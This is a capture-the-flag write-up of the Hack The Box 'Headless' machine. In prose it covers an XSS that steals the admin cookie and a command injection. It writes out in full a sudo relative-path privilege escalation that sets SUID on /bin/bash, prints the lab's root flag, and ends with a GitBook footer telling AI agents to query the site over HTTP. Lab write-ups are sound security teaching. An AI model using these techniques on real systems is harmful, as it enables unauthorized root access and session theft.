> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-headless.md).
# HTB - Headless
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
checking for JavaScript resulted in hacking attempt detected.
Also directory enumeration revealed a /dashboard directory.
accessing it gives error says required credentials
### Cross Site Scripting Bypass Filter
That said i need to bypass the restriction on support form and get admin cookie without being flagged.
The user agent is also reflected i can try XSS through it
XSS confirmed that said i can use the vulnerability to extract the admin session cookie.
request the response in browser and cookie will to sent to python server
Copy the cookie and update in the developer tools to access as admin.
### Command Injection
testing for command injection worked
## Shell as DVIR
The script calls `./initdb.sh` without an absolute path, so it looks in whatever directory it's executed from (your `$PWD`) rather than a fixed location. Since you run it via `sudo`, that `./initdb.sh` executes as root, using your current working directory.
```
cat << 'EOF' > initdb.sh
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x initdb.sh
```
```
dvir@headless:/tmp$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.02, 0.05
Database service is not running. Starting it...
```
## Shell Root
```
dvir@headless:/tmp$ /bin/bash -p
/bin/bash -p
id
uid=1000(dvir) gid=1000(dvir) euid=0(root) egid=0(root) groups=0(root),100(users),1000(dvir)
cd /root
ls
root.txt
cat root.txt
73a212c638deb1b4fee6eb4e41088fce
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-headless.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
